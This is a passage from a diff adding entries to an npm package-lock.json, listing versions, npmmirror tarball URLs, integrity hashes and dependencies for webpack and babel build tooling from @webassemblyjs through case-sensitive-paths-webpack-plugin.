"version": "1.12.1", + "resolved": "https://registry.npmmirror.com/@webassemblyjs/wasm-parser/-/wasm-parser-1.12.1.tgz", + "integrity": "sha512-xikIi7c2FHXysxXe3COrVUPSheuBtpcfhbpFj4gmu7KRLYOzANztwUU0IbsqvMqzuNK2+glRGWCEqZo1WCLyAQ==", + "dev": true, + "dependencies": { + "@webassemblyjs/ast": "1.12.1", + "@webassemblyjs/helper-api-error": "1.11.6", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6", + "@webassemblyjs/ieee754": "1.11.6", + "@webassemblyjs/leb128": "1.11.6", + "@webassemblyjs/utf8": "1.11.6" + } + }, + "node_modules/@webassemblyjs/wast-printer": { + "version": "1.12.1", + "resolved": "https://registry.npmmirror.com/@webassemblyjs/wast-printer/-/wast-printer-1.12.1.tgz", + "integrity": "sha512-+X4WAlOisVWQMikjbcvY2e0rwPsKQ9F688lksZhBcPycBBuii3O7m8FACbDMWDojpAqvjIncrG8J0XHKyQfVeA==", + "dev": true, + "dependencies": { + "@webassemblyjs/ast": "1.12.1", + "@xtuc/long": "4.2.2" + } + }, + "node_modules/@xtuc/ieee754": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/@xtuc/ieee754/-/ieee754-1.2.0.tgz", + "integrity": "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA==", + "dev": true + }, + "node_modules/@xtuc/long": { + "version": "4.2.2", + "resolved": "https://registry.npmmirror.com/@xtuc/long/-/long-4.2.2.tgz", + "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==", + "dev": true + }, + "node_modules/accepts": { + "version": "1.3.8", + "resolved": "https://registry.npmmirror.com/accepts/-/accepts-1.3.8.tgz", + "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==", + "dev": true, + "dependencies": { + "mime-types": "~2.1.34", + "negotiator": "0.6.3" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/acorn": { + "version": "8.14.0", + "resolved": "https://registry.npmmirror.com/acorn/-/acorn-8.14.0.tgz", + "integrity": "sha512-cl669nCJTZBsL97OF4kUQm5g5hC2uihk0NxY3WENAC0TYdILVkAyHymAntgxGkl7K+t0cXIrH5siy5S4XkFycA==", + "dev": true, + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/acorn-import-attributes": { + "version": "1.9.5", + "resolved": "https://registry.npmmirror.com/acorn-import-attributes/-/acorn-import-attributes-1.9.5.tgz", + "integrity": "sha512-n02Vykv5uA3eHGM/Z2dQrcD56kL8TyDb2p1+0P83PClMnC/nc+anbQRhIOWnSq4Ke/KvDPrY3C9hDtC/A3eHnQ==", + "dev": true, + "peerDependencies": { + "acorn": "^8" + } + }, + "node_modules/acorn-jsx": { + "version": "5.3.2", + "resolved": "https://registry.npmmirror.com/acorn-jsx/-/acorn-jsx-5.3.2.tgz", + "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==", + "dev": true, + "peerDependencies": { + "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" + } + }, + "node_modules/acorn-walk": { + "version": "8.3.4", + "resolved": "https://registry.npmmirror.com/acorn-walk/-/acorn-walk-8.3.4.tgz", + "integrity": "sha512-ueEepnujpqee2o5aIYnvHU6C0A42MNdsIDeqy5BydrkuC5R1ZuUFnm27EeFJGoEHJQgn3uleRvmTXaJgfXbt4g==", + "dev": true, + "dependencies": { + "acorn": "^8.11.0" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/address": { + "version": "1.2.2", + "resolved": "https://registry.npmmirror.com/address/-/address-1.2.2.tgz", + "integrity": "sha512-4B/qKCfeE/ODUaAUpSwfzazo5x29WD4r3vXiWsB7I2mSDAihwEqKO+g8GELZUQSSAo5e1XTYh3ZVfLyxBc12nA==", + "dev": true, + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/ajv": { + "version": "6.12.6", + "resolved": "https://registry.npmmirror.com/ajv/-/ajv-6.12.6.tgz", + "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/ajv-formats": { + "version": "2.1.1", + "resolved": "https://registry.npmmirror.com/ajv-formats/-/ajv-formats-2.1.1.tgz", + "integrity": "sha512-Wx0Kx52hxE7C18hkMEggYlEifqWZtYaRgouJor+WMdPnQyEK13vgEWyVNup7SoeeoLMsr4kf5h6dOW11I15MUA==", + "dev": true, + "dependencies": { + "ajv": "^8.0.0" + }, + "peerDependencies": { + "ajv": "^8.0.0" + }, + "peerDependenciesMeta": { + "ajv": { + "optional": true + } + } + }, + "node_modules/ajv-formats/node_modules/ajv": { + "version": "8.17.1", + "resolved": "https://registry.npmmirror.com/ajv/-/ajv-8.17.1.tgz", + "integrity": "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.3", + "fast-uri": "^3.0.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/ajv-formats/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "dev": true + }, + "node_modules/ajv-keywords": { + "version": "3.5.2", + "resolved": "https://registry.npmmirror.com/ajv-keywords/-/ajv-keywords-3.5.2.tgz", + "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", + "dev": true, + "peerDependencies": { + "ajv": "^6.9.1" + } + }, + "node_modules/ansi-colors": { + "version": "4.1.3", + "resolved": "https://registry.npmmirror.com/ansi-colors/-/ansi-colors-4.1.3.tgz", + "integrity": "sha512-/6w/C21Pm1A7aZitlI5Ni/2J6FFQN8i1Cvz3kHABAAbw93v/NlvKdVOqz7CCWz/3iv/JplRSEEZ83XION15ovw==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/ansi-escapes": { + "version": "3.2.0", + "resolved": "https://registry.npmmirror.com/ansi-escapes/-/ansi-escapes-3.2.0.tgz", + "integrity": "sha512-cBhpre4ma+U0T1oM5fXg7Dy1Jw7zzwv7lt/GoCpr+hDQJoYnKVPLL4dCvSEFMmQurOQvSrwT7SL/DAlhBI97RQ==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/ansi-html-community": { + "version": "0.0.8", + "resolved": "https://registry.npmmirror.com/ansi-html-community/-/ansi-html-community-0.0.8.tgz", + "integrity": "sha512-1APHAyr3+PCamwNw3bXCPp4HFLONZt/yIH0sZp0/469KWNTEy+qN5jQ3GVX6DMZ1UXAi34yVwtTeaG/HpBuuzw==", + "dev": true, + "engines": [ + "node >= 0.8.0" + ], + "bin": { + "ansi-html": "bin/ansi-html" + } + }, + "node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmmirror.com/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmmirror.com/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/any-promise": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/any-promise/-/any-promise-1.3.0.tgz", + "integrity": "sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A==", + "dev": true + }, + "node_modules/anymatch": { + "version": "3.1.3", + "resolved": "https://registry.npmmirror.com/anymatch/-/anymatch-3.1.3.tgz", + "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", + "dev": true, + "dependencies": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/arch": { + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/arch/-/arch-2.2.0.tgz", + "integrity": "sha512-Of/R0wqp83cgHozfIYLbBMnej79U/SVGOOyuB3VVFv1NRM/PSFMK12x9KVtiYzJqmnU5WR2qp0Z5rHb7sWGnFQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmmirror.com/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "dev": true, + "dependencies": { + "sprintf-js": "~1.0.2" + } + }, + "node_modules/array-flatten": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/array-flatten/-/array-flatten-1.1.1.tgz", + "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==", + "dev": true + }, + "node_modules/array-union": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/array-union/-/array-union-2.1.0.tgz", + "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/astral-regex": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/astral-regex/-/astral-regex-2.0.0.tgz", + "integrity": "sha512-Z7tMw1ytTXt5jqMcOP+OQteU1VuNK9Y02uuJtKQ1Sv69jXQKKg5cibLwGJow8yzZP+eAc18EmLGPal0bp36rvQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/async": { + "version": "2.6.4", + "resolved": "https://registry.npmmirror.com/async/-/async-2.6.4.tgz", + "integrity": "sha512-mzo5dfJYwAn29PeiJ0zvwTo04zj8HDJj0Mn8TD7sno7q12prdbnasKJHhkm2c1LgrhlJ0teaea8860oxi51mGA==", + "dev": true, + "dependencies": { + "lodash": "^4.17.14" + } + }, + "node_modules/async-validator": { + "version": "4.2.5", + "resolved": "https://registry.npmmirror.com/async-validator/-/async-validator-4.2.5.tgz", + "integrity": "sha512-7HhHjtERjqlNbZtqNqy2rckN/SpOOlmDliet+lP7k+eKZEjPk3DgyeU9lIXLdeLz0uBbbVp+9Qdow9wJWgwwfg==" + }, + "node_modules/at-least-node": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/at-least-node/-/at-least-node-1.0.0.tgz", + "integrity": "sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==", + "dev": true, + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/autoprefixer": { + "version": "10.4.20", + "resolved": "https://registry.npmmirror.com/autoprefixer/-/autoprefixer-10.4.20.tgz", + "integrity": "sha512-XY25y5xSv/wEoqzDyXXME4AFfkZI0P23z6Fs3YgymDnKJkCGOnkL0iTxCa85UTqaSgfcqyf3UA6+c7wUvx/16g==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/autoprefixer" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "dependencies": { + "browserslist": "^4.23.3", + "caniuse-lite": "^1.0.30001646", + "fraction.js": "^4.3.7", + "normalize-range": "^0.1.2", + "picocolors": "^1.0.1", + "postcss-value-parser": "^4.2.0" + }, + "bin": { + "autoprefixer": "bin/autoprefixer" + }, + "engines": { + "node": "^10 || ^12 || >=14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/babel-loader": { + "version": "8.4.1", + "resolved": "https://registry.npmmirror.com/babel-loader/-/babel-loader-8.4.1.tgz", + "integrity": "sha512-nXzRChX+Z1GoE6yWavBQg6jDslyFF3SDjl2paADuoQtQW10JqShJt62R6eJQ5m/pjJFDT8xgKIWSP85OY8eXeA==", + "dev": true, + "dependencies": { + "find-cache-dir": "^3.3.1", + "loader-utils": "^2.0.4", + "make-dir": "^3.1.0", + "schema-utils": "^2.6.5" + }, + "engines": { + "node": ">= 8.9" + }, + "peerDependencies": { + "@babel/core": "^7.0.0", + "webpack": ">=2" + } + }, + "node_modules/babel-loader/node_modules/loader-utils": { + "version": "2.0.4", + "resolved": "https://registry.npmmirror.com/loader-utils/-/loader-utils-2.0.4.tgz", + "integrity": "sha512-xXqpXoINfFhgua9xiqD8fPFHgkoq1mmmpE92WlDbm9rNRd/EbRb+Gqf908T2DMfuHjjJlksiK2RbHVOdD/MqSw==", + "dev": true, + "dependencies": { + "big.js": "^5.2.2", + "emojis-list": "^3.0.0", + "json5": "^2.1.2" + }, + "engines": { + "node": ">=8.9.0" + } + }, + "node_modules/babel-plugin-dynamic-import-node": { + "version": "2.3.3", + "resolved": "https://registry.npmmirror.com/babel-plugin-dynamic-import-node/-/babel-plugin-dynamic-import-node-2.3.3.tgz", + "integrity": "sha512-jZVI+s9Zg3IqA/kdi0i6UDCybUI3aSBLnglhYbSSjKlV7yF1F/5LWv8MakQmvYpnbJDS6fcBL2KzHSxNCMtWSQ==", + "dev": true, + "dependencies": { + "object.assign": "^4.1.0" + } + }, + "node_modules/babel-plugin-import": { + "version": "1.13.8", + "resolved": "https://registry.npmmirror.com/babel-plugin-import/-/babel-plugin-import-1.13.8.tgz", + "integrity": "sha512-36babpjra5m3gca44V6tSTomeBlPA7cHUynrE2WiQIm3rEGD9xy28MKsx5IdO45EbnpJY7Jrgd00C6Dwt/l/2Q==", + "dev": true, + "dependencies": { + "@babel/helper-module-imports": "^7.0.0" + } + }, + "node_modules/babel-plugin-polyfill-corejs2": { + "version": "0.4.11", + "resolved": "https://registry.npmmirror.com/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.4.11.tgz", + "integrity": "sha512-sMEJ27L0gRHShOh5G54uAAPaiCOygY/5ratXuiyb2G46FmlSpc9eFCzYVyDiPxfNbwzA7mYahmjQc5q+CZQ09Q==", + "dev": true, + "dependencies": { + "@babel/compat-data": "^7.22.6", + "@babel/helper-define-polyfill-provider": "^0.6.2", + "semver": "^6.3.1" + }, + "peerDependencies": { + "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" + } + }, + "node_modules/babel-plugin-polyfill-corejs3": { + "version": "0.10.6", + "resolved": "https://registry.npmmirror.com/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.10.6.tgz", + "integrity": "sha512-b37+KR2i/khY5sKmWNVQAnitvquQbNdWy6lJdsr0kmquCKEEUgMKK4SboVM3HtfnZilfjr4MMQ7vY58FVWDtIA==", + "dev": true, + "dependencies": { + "@babel/helper-define-polyfill-provider": "^0.6.2", + "core-js-compat": "^3.38.0" + }, + "peerDependencies": { + "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" + } + }, + "node_modules/babel-plugin-polyfill-regenerator": { + "version": "0.6.2", + "resolved": "https://registry.npmmirror.com/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.6.2.tgz", + "integrity": "sha512-2R25rQZWP63nGwaAswvDazbPXfrM3HwVoBXK6HcqeKrSrL/JqcC/rDcf95l4r7LXLyxDXc8uQDa064GubtCABg==", + "dev": true, + "dependencies": { + "@babel/helper-define-polyfill-provider": "^0.6.2" + }, + "peerDependencies": { + "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" + } + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true + }, + "node_modules/base64-js": { + "version": "1.5.1", + "resolved": "https://registry.npmmirror.com/base64-js/-/base64-js-1.5.1.tgz", + "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/batch": { + "version": "0.6.1", + "resolved": "https://registry.npmmirror.com/batch/-/batch-0.6.1.tgz", + "integrity": "sha512-x+VAiMRL6UPkx+kudNvxTl6hB2XNNCG2r+7wixVfIYwu/2HKRXimwQyaumLjMveWvT2Hkd/cAJw+QBMfJ/EKVw==", + "dev": true + }, + "node_modules/big.js": { + "version": "5.2.2", + "resolved": "https://registry.npmmirror.com/big.js/-/big.js-5.2.2.tgz", + "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==", + "dev": true, + "engines": { + "node": "*" + } + }, + "node_modules/binary-extensions": { + "version": "2.3.0", + "resolved": "https://registry.npmmirror.com/binary-extensions/-/binary-extensions-2.3.0.tgz", + "integrity": "sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==", + "dev": true, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/bl": { + "version": "4.1.0", + "resolved": "https://registry.npmmirror.com/bl/-/bl-4.1.0.tgz", + "integrity": "sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==", + "dev": true, + "dependencies": { + "buffer": "^5.5.0", + "inherits": "^2.0.4", + "readable-stream": "^3.4.0" + } + }, + "node_modules/bluebird": { + "version": "3.7.2", + "resolved": "https://registry.npmmirror.com/bluebird/-/bluebird-3.7.2.tgz", + "integrity": "sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg==", + "dev": true + }, + "node_modules/blurhash": { + "version": "2.0.5", + "resolved": "https://registry.npmmirror.com/blurhash/-/blurhash-2.0.5.tgz", + "integrity": "sha512-cRygWd7kGBQO3VEhPiTgq4Wc43ctsM+o46urrmPOiuAe+07fzlSB9OJVdpgDL0jPqXUVQ9ht7aq7kxOeJHRK+w==" + }, + "node_modules/body-parser": { + "version": "1.20.3", + "resolved": "https://registry.npmmirror.com/body-parser/-/body-parser-1.20.3.tgz", + "integrity": "sha512-7rAxByjUMqQ3/bHJy7D6OGXvx/MMc4IqBn/X0fcM1QUcAItpZrBEYhWGem+tzXH90c+G01ypMcYJBO9Y30203g==", + "dev": true, + "dependencies": { + "bytes": "3.1.2", + "content-type": "~1.0.5", + "debug": "2.6.9", + "depd": "2.0.0", + "destroy": "1.2.0", + "http-errors": "2.0.0", + "iconv-lite": "0.4.24", + "on-finished": "2.4.1", + "qs": "6.13.0", + "raw-body": "2.5.2", + "type-is": "~1.6.18", + "unpipe": "1.0.0" + }, + "engines": { + "node": ">= 0.8", + "npm": "1.2.8000 || >= 1.4.16" + } + }, + "node_modules/body-parser/node_modules/bytes": { + "version": "3.1.2", + "resolved": "https://registry.npmmirror.com/bytes/-/bytes-3.1.2.tgz", + "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/body-parser/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmmirror.com/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/body-parser/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", + "dev": true + }, + "node_modules/bonjour-service": { + "version": "1.2.1", + "resolved": "https://registry.npmmirror.com/bonjour-service/-/bonjour-service-1.2.1.tgz", + "integrity": "sha512-oSzCS2zV14bh2kji6vNe7vrpJYCHGvcZnlffFQ1MEoX/WOeQ/teD8SYWKR942OI3INjq8OMNJlbPK5LLLUxFDw==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.3", + "multicast-dns": "^7.2.5" + } + }, + "node_modules/boolbase": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/boolbase/-/boolbase-1.0.0.tgz", + "integrity": "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==", + "dev": true + }, + "node_modules/brace-expansion": { + "version": "1.1.11", + "resolved": "https://registry.npmmirror.com/brace-expansion/-/brace-expansion-1.1.11.tgz", + "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "dev": true, + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/braces": { + "version": "3.0.3", + "resolved": "https://registry.npmmirror.com/braces/-/braces-3.0.3.tgz", + "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==", + "dev": true, + "dependencies": { + "fill-range": "^7.1.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/browser-or-node": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/browser-or-node/-/browser-or-node-1.3.0.tgz", + "integrity": "sha512-0F2z/VSnLbmEeBcUrSuDH5l0HxTXdQQzLjkmBR4cYfvg1zJrKSlmIZFqyFR8oX0NrwPhy3c3HQ6i3OxMbew4Tg==" + }, + "node_modules/browserslist": { + "version": "4.24.2", + "resolved": "https://registry.npmmirror.com/browserslist/-/browserslist-4.24.2.tgz", + "integrity": "sha512-ZIc+Q62revdMcqC6aChtW4jz3My3klmCO1fEmINZY/8J3EpBg5/A/D0AKmBveUh6pgoeycoMkVMko84tuYS+Gg==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "dependencies": { + "caniuse-lite": "^1.0.30001669", + "electron-to-chromium": "^1.5.41", + "node-releases": "^2.0.18", + "update-browserslist-db": "^1.1.1" + }, + "bin": { + "browserslist": "cli.js" + }, + "engines": { + "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" + } + }, + "node_modules/buffer": { + "version": "5.7.1", + "resolved": "https://registry.npmmirror.com/buffer/-/buffer-5.7.1.tgz", + "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "dependencies": { + "base64-js": "^1.3.1", + "ieee754": "^1.1.13" + } + }, + "node_modules/buffer-from": { + "version": "1.1.2", + "resolved": "https://registry.npmmirror.com/buffer-from/-/buffer-from-1.1.2.tgz", + "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==", + "dev": true + }, + "node_modules/bytes": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/bytes/-/bytes-3.0.0.tgz", + "integrity": "sha512-pMhOfFDPiv9t5jjIXkHosWmkSyQbvsgEVNkz0ERHbuLh2T/7j4Mqqpz523Fe8MVY89KC6Sh/QfS2sM+SjgFDcw==", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/call-bind": { + "version": "1.0.7", + "resolved": "https://registry.npmmirror.com/call-bind/-/call-bind-1.0.7.tgz", + "integrity": "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w==", + "dev": true, + "dependencies": { + "es-define-property": "^1.0.0", + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "get-intrinsic": "^1.2.4", + "set-function-length": "^1.2.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/callsites": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/callsites/-/callsites-3.1.0.tgz", + "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/camel-case": { + "version": "4.1.2", + "resolved": "https://registry.npmmirror.com/camel-case/-/camel-case-4.1.2.tgz", + "integrity": "sha512-gxGWBrTT1JuMx6R+o5PTXMmUnhnVzLQ9SNutD4YqKtI6ap897t3tKECYla6gCWEkplXnlNybEkZg9GEGxKFCgw==", + "dev": true, + "dependencies": { + "pascal-case": "^3.1.2", + "tslib": "^2.0.3" + } + }, + "node_modules/camelcase": { + "version": "5.3.1", + "resolved": "https://registry.npmmirror.com/camelcase/-/camelcase-5.3.1.tgz", + "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/caniuse-api": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/caniuse-api/-/caniuse-api-3.0.0.tgz", + "integrity": "sha512-bsTwuIg/BZZK/vreVTYYbSWoe2F+71P7K5QGEX+pT250DZbfU1MQ5prOKpPR+LL6uWKK3KMwMCAS74QB3Um1uw==", + "dev": true, + "dependencies": { + "browserslist": "^4.0.0", + "caniuse-lite": "^1.0.0", + "lodash.memoize": "^4.1.2", + "lodash.uniq": "^4.5.0" + } + }, + "node_modules/caniuse-lite": { + "version": "1.0.30001673", + "resolved": "https://registry.npmmirror.com/caniuse-lite/-/caniuse-lite-1.0.30001673.tgz", + "integrity": "sha512-WTrjUCSMp3LYX0nE12ECkV0a+e6LC85E0Auz75555/qr78Oc8YWhEPNfDd6SHdtlCMSzqtuXY0uyEMNRcsKpKw==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/caniuse-lite" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ] + }, + "node_modules/case-sensitive-paths-webpack-plugin": { + "version": "2.4.0", + "resolved": 